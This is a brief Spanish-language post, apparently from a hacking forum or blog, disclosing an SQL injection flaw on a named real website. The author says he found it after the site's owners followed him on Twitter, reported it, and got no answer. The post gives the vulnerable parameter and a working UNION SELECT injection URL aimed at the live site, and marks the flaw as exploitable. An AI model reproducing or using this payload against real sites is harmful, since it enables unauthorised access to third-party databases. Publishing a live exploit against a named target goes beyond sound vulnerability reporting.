SQLI http://www.informaticovitoria.com

Bueno despues de que me sigan en Twitter, me dio por mirar la web, dado que son 'informáticos' o así lo dice los titulos de su carrera.

Conclusión, acabe cabreado al observar que personas con carreras en la rama informática, dispongas de fallos tan comunes en sus sitios web.

Path vulnerable:
http://www.informaticovitoria.com/index.php?seccion=
-----------------------------------------------------------------------
http://www.informaticovitoria.com/index.php?seccion=noticia&id=1+union+select+1,2,3,4,5,6,7

Screenshot:


Estado: Explotable.
Reportado: Si(Sin respuesta todavía por parte de los administradores)
Fecha del hallazgo: 9-3-2013.
Autor: Matabarras.